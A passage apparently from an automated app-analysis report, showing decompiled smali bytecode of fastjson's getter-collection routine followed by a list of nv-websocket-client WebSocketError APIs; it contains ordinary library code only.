                                                339move-result v2
                                                341invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                342move-result-object v4
                                                344invoke-static {v4}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                345move-result v4
                                                347invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                348move-result-object v7
                                                350invoke-static {v7}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                351move-result v7
                                                353invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                354move-result-object v8
                                                356invoke-virtual {v8}, Ljava/lang/String;->length()I
                                                357move-result v8
                                                358if-eqz v8, :cond_201
                                                360invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                361move-result-object v0
                                                362if-eqz v13, :cond_201
                                                364invoke-interface {v13, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                365move-result-object v0
                                                366check-cast v0, Ljava/lang/String;
                                                367if-nez v0, :cond_201
                                                368goto/16 :goto_19a
                                                369cond_201:
                                                370invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                371move-result-object v8
                                                373invoke-virtual {v8}, Ljava/lang/String;->length()I
                                                374move-result v8
                                                375if-eqz v8, :cond_21a
                                                377invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                378move-result-object v8
                                                379move-object/from16 v23, v1
                                                380move/from16 v20, v2
                                                381move/from16 v21, v4
                                                382move/from16 v22, v7
                                                383move-object/from16 v18, v8
                                                384goto/16 :goto_228
                                                385cond_21a: move-object/from16 v23, v1
                                                386move/from16 v20, v2
                                                387move/from16 v21, v4
                                                388move/from16 v22, v7
                                                389goto/16 :goto_228
                                                390cond_223: move-object/from16 v23, v1
                                                391goto/16 :goto_228
                                                392cond_226: move-object/from16 v23, v17
                                                393goto_228: if-eqz v13, :cond_234
                                                395invoke-interface {v13, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                396move-result-object v0
                                                397check-cast v0, Ljava/lang/String;
                                                398if-nez v0, :cond_234
                                                399goto/16 :goto_19a
                                                400cond_234: move-object v8, v15
                                                401move-object/from16 v15, p5
                                                402if-eqz v15, :cond_23d
                                                404invoke-virtual {v15, v0}, Lcom/alibaba/fastjson/PropertyNamingStrategy;->translate(Ljava/lang/String;)Ljava/lang/String;
                                                405move-result-object v0
                                                406cond_23d: move-object v7, v0
                                                407new-instance v4, Lcom/alibaba/fastjson/util/FieldInfo;
                                                408const/16 v24, 0x0
                                                409move-object v0, v4
                                                410move-object v1, v7
                                                411move-object v2, v6
                                                412move-object v12, v4
                                                413move-object/from16 v4, p0
                                                414move-object v15, v5
                                                415move-object/from16 v5, v24
                                                416move-object/from16 v24, v6
                                                417move/from16 v6, v20
                                                418move-object/from16 v29, v7
                                                419move/from16 v7, v21
                                                420move-object/from16 v30, v8
                                                421move/from16 v8, v22
                                                422move-object/from16 v9, v19
                                                423move-object/from16 v10, v23
                                                424const/16 v13, 0x66
                                                425move-object/from16 v11, v18
                                                427invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                428move-object/from16 v0, v29
                                                429move-object/from16 v11, v30
                                                431invoke-interface {v11, v0, v12}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                432goto/16 :goto_270
                                                433cond_26a: move-object/from16 v24, v6
                                                434move-object v11, v15
                                                435const/16 v13, 0x66
                                                436move-object v15, v5
                                                437goto_270:
                                                438const-string v0, "is"
                                                440invoke-virtual {v15, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                441move-result v0
                                                442if-eqz v0, :cond_386
                                                444invoke-virtual {v15}, Ljava/lang/String;->length()I
                                                445move-result v0
                                                446const/4 v1, 0x3
                                                447if-ge v0, v1, :cond_281
                                                448goto/16 :goto_386
                                                449cond_281:
                                                450invoke-virtual/range {v24 .. v24}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                451move-result-object v0
                                                453sget-object v2, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                454if-eq v0, v2, :cond_293
                                                456invoke-virtual/range {v24 .. v24}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                457move-result-object v0
                                                458const-class v2, Ljava/lang/Boolean;
                                                459if-eq v0, v2, :cond_293
                                                460goto/16 :goto_386
                                                461cond_293: const/4 v0, 0x2
                                                463invoke-virtual {v15, v0}, Ljava/lang/String;->charAt(I)C
                                                464move-result v2
                                                466invoke-static {v2}, Ljava/lang/Character;->isUpperCase(C)Z
                                                467move-result v3
                                                468if-eqz v3, :cond_2cb
                                                469sget-boolean v2, Lcom/alibaba/fastjson/util/TypeUtils;->compatibleWithJavaBean:Z
                                                470if-eqz v2, :cond_2ab
                                                472invoke-virtual {v15, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                473move-result-object v1
                                                475invoke-static {v1}, Lcom/alibaba/fastjson/util/TypeUtils;->decapitalize(Ljava/lang/String;)Ljava/lang/String;
                                                476move-result-object v1
                                                477goto/16 :goto_2c6
                                                478cond_2ab: new-instance v2, Ljava/lang/StringBuilder;
                                                480invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                482invoke-virtual {v15, v0}, Ljava/lang/String;->charAt(I)C
                                                483move-result v3
                                                485invoke-static {v3}, Ljava/lang/Character;->toLowerCase(C)C
                                                486move-result v3
                                                488invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                490invoke-virtual {v15, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                491move-result-object v1
                                                493invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                495invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                496move-result-object v1
                                                497goto_2c6:
                                                498invoke-static {v14, v15, v1, v0}, Lcom/alibaba/fastjson/util/TypeUtils;->getPropertyNameByCompatibleFieldName(Ljava/util/Map;Ljava/lang/String;Ljava/lang/String;I)Ljava/lang/String;
                                                499move-result-object v0
                                                500goto/16 :goto_2da
                                                501cond_2cb: const/16 v3, 0x5f
                                                502if-ne v2, v3, :cond_2d4
                                                504invoke-virtual {v15, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                505move-result-object v0
                                                506goto/16 :goto_2da
                                                507cond_2d4: if-ne v2, v13, :cond_386
                                                509invoke-virtual {v15, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                510move-result-object v0
                                                511goto_2da:
                                                512invoke-static {v0, v14}, Lcom/alibaba/fastjson/parser/ParserConfig;->getFieldFromCache(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/reflect/Field;
                                                513move-result-object v1
                                                514if-nez v1, :cond_2e4
                                                516invoke-static {v15, v14}, Lcom/alibaba/fastjson/parser/ParserConfig;->getFieldFromCache(Ljava/lang/String;Ljava/util/Map;)Ljava/lang/reflect/Field;
                                                517move-result-object v1
                                                518cond_2e4: move-object v3, v1
                                                519if-eqz v3, :cond_348
                                                520const-class v1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                522invoke-virtual {v3, v1}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                523move-result-object v1
                                                524check-cast v1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                525if-eqz v1, :cond_344
                                                527invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->serialize()Z
                                                528move-result v2
                                                529if-nez v2, :cond_2f9
                                                530goto/16 :goto_386
                                                531cond_2f9:
                                                532invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                533move-result v2
                                                535invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                536move-result-object v4
                                                538invoke-static {v4}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                539move-result v4
                                                541invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                542move-result-object v5
                                                544invoke-static {v5}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                545move-result v5
                                                547invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                548move-result-object v6
                                                550invoke-virtual {v6}, Ljava/lang/String;->length()I
                                                551move-result v6
                                                552if-eqz v6, :cond_328
                                                554invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                555move-result-object v0
                                                556move-object/from16 v12, p2
                                                557if-eqz v12, :cond_32a
                                                559invoke-interface {v12, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                560move-result-object v0
                                                561check-cast v0, Ljava/lang/String;
                                                562if-nez v0, :cond_32a
                                                563goto/16 :goto_35c
                                                564cond_328: move-object/from16 v12, p2
                                                565cond_32a:
                                                566invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                567move-result-object v6
                                                569invoke-virtual {v6}, Ljava/lang/String;->length()I
                                                570move-result v6
                                                571if-eqz v6, :cond_33f
                                                573invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                574move-result-object v6
                                                575move-object v10, v1
                                                576move v7, v4
                                                577move v8, v5
                                                578move-object/from16 v18, v6
                                                579move v6, v2
                                                580goto/16 :goto_352
                                                581cond_33f: move-object v10, v1
                                                582move v6, v2
                                                583move v7, v4
                                                584move v8, v5
                                                585goto/16 :goto_352
                                                586cond_344: move-object/from16 v12, p2
                                                587move-object v10, v1
                                                588goto/16 :goto_34c
                                                589cond_348: move-object/from16 v12, p2
                                                590move-object/from16 v10, v17
                                                591goto_34c: move/from16 v6, v20
                                                592move/from16 v7, v21
                                                593move/from16 v8, v22
                                                594goto_352: if-eqz v12, :cond_35d
                                                596invoke-interface {v12, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                597move-result-object v0
                                                598check-cast v0, Ljava/lang/String;
                                                599if-nez v0, :cond_35d
                                                600goto_35c: goto/16 :goto_388
                                                601cond_35d: move-object/from16 v13, p5
                                                602if-eqz v13, :cond_365
                                                604invoke-virtual {v13, v0}, Lcom/alibaba/fastjson/PropertyNamingStrategy;->translate(Ljava/lang/String;)Ljava/lang/String;
                                                605move-result-object v0
                                                606cond_365: move-object v15, v0
                                                608invoke-interface {v11, v15}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                                609move-result v0
                                                610if-eqz v0, :cond_36d
                                                611goto/16 :goto_38a
                                                612cond_36d: new-instance v9, Lcom/alibaba/fastjson/util/FieldInfo;
                                                613const/4 v5, 0x0
                                                614move-object v0, v9
                                                615move-object v1, v15
                                                616move-object/from16 v2, v24
                                                617move-object/from16 v4, p0
                                                618move-object/from16 v31, v9
                                                619move-object/from16 v9, v19
                                                620move-object v14, v11
                                                621move-object/from16 v11, v18
                                                623invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                624move-object/from16 v0, v31
                                                626invoke-interface {v14, v15, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                627goto/16 :goto_38b
                                                628goto_386: move-object/from16 v12, p2
                                                629goto_388: move-object/from16 v13, p5
                                                630goto_38a: move-object v14, v11
                                                631goto_38b: add-int/lit8 v8, v26, 0x1
                                                632move-object v15, v13
                                                633move-object v11, v14
                                                634move/from16 v9, v27
                                                635move-object/from16 v10, v28
                                                636move-object/from16 v14, p3
                                                637move-object v13, v12
                                                638move-object/from16 v12, p0
                                                639goto/16 :goto_15
                                                640cond_39a: move-object v14, v11
                                                641move-object v12, v13
                                                642move-object v13, v15
                                                644invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->getFields()[Ljava/lang/reflect/Field;
                                                645move-result-object v15
                                                646array-length v11, v15
                                                647const/4 v10, 0x0
                                                648goto_3a3: if-ge v10, v11, :cond_459
                                                649aget-object v3, v15, v10
                                                651invoke-virtual {v3}, Ljava/lang/reflect/Field;->getModifiers()I
                                                652move-result v0
                                                654invoke-static {v0}, Ljava/lang/reflect/Modifier;->isStatic(I)Z
                                                655move-result v0
                                                656if-eqz v0, :cond_3b9
                                                657cond_3b1: move/from16 v21, v10
                                                658move/from16 v18, v11
                                                659const/16 v20, 0x1
                                                660goto/16 :goto_452
                                                661cond_3b9: const-class v0, Lcom/alibaba/fastjson/annotation/JSONField;
                                                663invoke-virtual {v3, v0}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                664move-result-object v0
                                                665move-object/from16 v18, v0
                                                666check-cast v18, Lcom/alibaba/fastjson/annotation/JSONField;
                                                668invoke-virtual {v3}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                                                669move-result-object v0
                                                670if-eqz v18, :cond_40c
                                                672invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->serialize()Z
                                                673move-result v1
                                                674if-nez v1, :cond_3d0
                                                675goto/16 :goto_3b1
                                                676cond_3d0:
                                                677invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                678move-result v1
                                                680invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                681move-result-object v2
                                                683invoke-static {v2}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                684move-result v2
                                                686invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                687move-result-object v4
                                                689invoke-static {v4}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                690move-result v4
                                                692invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                693move-result-object v5
                                                695invoke-virtual {v5}, Ljava/lang/String;->length()I
                                                696move-result v5
                                                697if-eqz v5, :cond_3f2
                                                699invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                700move-result-object v0
                                                701cond_3f2:
                                                702invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                703move-result-object v5
                                                705invoke-virtual {v5}, Ljava/lang/String;->length()I
                                                706move-result v5
                                                707if-eqz v5, :cond_406
                                                709invoke-interface/range {v18 .. v18}, Lcom/alibaba/fastjson/annotation/JSONField;->label()Ljava/lang/String;
                                                710move-result-object v5
                                                711move v6, v1
                                                712move v8, v2
                                                713move v9, v4
                                                714move-object/from16 v19, v5
                                                715goto/16 :goto_411
                                                716cond_406: move v6, v1
                                                717move v8, v2
                                                718move v9, v4
                                                719move-object/from16 v19, v17
                                                720goto/16 :goto_411
                                                721cond_40c: move-object/from16 v19, v17
                                                722const/4 v6, 0x0
                                                723const/4 v8, 0x0
                                                724const/4 v9, 0x0
                                                725goto_411: if-eqz v12, :cond_41c
                                                727invoke-interface {v12, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                728move-result-object v0
                                                729check-cast v0, Ljava/lang/String;
                                                730if-nez v0, :cond_41c
                                                731goto/16 :goto_3b1
                                                732cond_41c: if-eqz v13, :cond_422
                                                734invoke-virtual {v13, v0}, Lcom/alibaba/fastjson/PropertyNamingStrategy;->translate(Ljava/lang/String;)Ljava/lang/String;
                                                735move-result-object v0
                                                736cond_422: move-object v5, v0
                                                738invoke-interface {v14, v5}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                                739move-result v0
                                                740if-nez v0, :cond_3b1
                                                741new-instance v4, Lcom/alibaba/fastjson/util/FieldInfo;
                                                742const/4 v2, 0x0
                                                743const/16 v20, 0x0
                                                744const/16 v21, 0x0
                                                745move-object v0, v4
                                                746move-object v1, v5
                                                747move-object/from16 v32, v4
                                                748move-object/from16 v4, p0
                                                749move-object/from16 v33, v5
                                                750move-object/from16 v5, v20
                                                751const/16 v20, 0x1
                                                752move v7, v8
                                                753move v8, v9
                                                754move-object/from16 v9, v21
                                                755move/from16 v21, v10
                                                756move-object/from16 v10, v18
                                                757move/from16 v18, v11
                                                758move-object/from16 v11, v19
                                                760invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                761move-object/from16 v1, v32
                                                762move-object/from16 v0, v33
                                                764invoke-interface {v14, v0, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                765goto_452: add-int/lit8 v10, v21, 0x1
                                                766move/from16 v11, v18
                                                767const/4 v7, 0x1
                                                768goto/16 :goto_3a3
                                                769cond_459: const/16 v20, 0x1
                                                770new-instance v0, Ljava/util/ArrayList;
                                                772invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                                773const-class v1, Lcom/alibaba/fastjson/annotation/JSONType;
                                                774move-object/from16 v2, p0
                                                776invoke-virtual {v2, v1}, Ljava/lang/Class;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                777move-result-object v1
                                                778check-cast v1, Lcom/alibaba/fastjson/annotation/JSONType;
                                                779if-eqz v1, :cond_489
                                                781invoke-interface {v1}, Lcom/alibaba/fastjson/annotation/JSONType;->orders()[Ljava/lang/String;
                                                782move-result-object v1
                                                783if-eqz v1, :cond_48b
                                                784array-length v2, v1
                                                786invoke-interface {v14}, Ljava/util/Map;->size()I
                                                787move-result v3
                                                788if-ne v2, v3, :cond_48b
                                                789array-length v2, v1
                                                790const/4 v3, 0x0
                                                791goto_47b: if-ge v3, v2, :cond_48d
                                                792aget-object v4, v1, v3
                                                794invoke-interface {v14, v4}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                                795move-result v4
                                                796if-nez v4, :cond_486
                                                797goto/16 :goto_48b
                                                798cond_486: add-int/lit8 v3, v3, 0x1
                                                799goto/16 :goto_47b
                                                800cond_489: move-object/from16 v1, v17
                                                801goto_48b: const/16 v20, 0x0
                                                802cond_48d: if-eqz v20, :cond_4a1
                                                803array-length v2, v1
                                                804const/4 v3, 0x0
                                                805goto_491: if-ge v3, v2, :cond_4be
                                                806aget-object v4, v1, v3
                                                808invoke-interface {v14, v4}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                809move-result-object v4
                                                810check-cast v4, Lcom/alibaba/fastjson/util/FieldInfo;
                                                812invoke-interface {v0, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                813add-int/lit8 v3, v3, 0x1
                                                814goto/16 :goto_491
                                                815cond_4a1:
                                                816invoke-interface {v14}, Ljava/util/Map;->values()Ljava/util/Collection;
                                                817move-result-object v1
                                                819invoke-interface {v1}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                                                820move-result-object v1
                                                821goto_4a9:
                                                822invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                                823move-result v2
                                                824if-eqz v2, :cond_4b9
                                                826invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                827move-result-object v2
                                                828check-cast v2, Lcom/alibaba/fastjson/util/FieldInfo;
                                                830invoke-interface {v0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                831goto/16 :goto_4a9
                                                832cond_4b9: if-eqz p4, :cond_4be
                                                834invoke-static {v0}, Ljava/util/Collections;->sort(Ljava/util/List;)V
                                                835cond_4be: return-object v0
                                                APIs
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.<init>
                                                • com.neovisionaries.ws.client.WebSocketError.NOT_IN_CREATED_STATE:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.SOCKET_INPUT_STREAM_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.SOCKET_OUTPUT_STREAM_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.OPENING_HAHDSHAKE_REQUEST_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.OPENING_HANDSHAKE_RESPONSE_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.STATUS_LINE_EMPTY:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.STATUS_LINE_BAD_FORMAT:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NOT_SWITCHING_PROTOCOLS:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.HTTP_HEADER_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NO_UPGRADE_HEADER:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NO_WEBSOCKET_IN_UPGRADE_HEADER:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NO_CONNECTION_HEADER:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NO_UPGRADE_IN_CONNECTION_HEADER:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NO_SEC_WEBSOCKET_ACCEPT_HEADER:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNEXPECTED_SEC_WEBSOCKET_ACCEPT_HEADER:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.EXTENSION_PARSE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNSUPPORTED_EXTENSION:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.EXTENSIONS_CONFLICT:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNSUPPORTED_PROTOCOL:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.INSUFFICENT_DATA:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.INVALID_PAYLOAD_LENGTH:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.TOO_LONG_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.INSUFFICIENT_MEMORY_FOR_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.INTERRUPTED_IN_READING:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.IO_ERROR_IN_READING:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.IO_ERROR_IN_WRITING:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.FLUSH_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NON_ZERO_RESERVED_BITS:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNEXPECTED_RESERVED_BIT:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.FRAME_MASKED:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNKNOWN_OPCODE:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.FRAGMENTED_CONTROL_FRAME:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNEXPECTED_CONTINUATION_FRAME:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.CONTINUATION_NOT_CLOSED:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.TOO_LONG_CONTROL_FRAME_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.MESSAGE_CONSTRUCTION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.TEXT_MESSAGE_CONSTRUCTION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNEXPECTED_ERROR_IN_READING_THREAD:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.UNEXPECTED_ERROR_IN_WRITING_THREAD:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.PERMESSAGE_DEFLATE_UNSUPPORTED_PARAMETER:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.PERMESSAGE_DEFLATE_INVALID_MAX_WINDOW_BITS:Lcom/neovisionaries/ws/client/WebSocketError
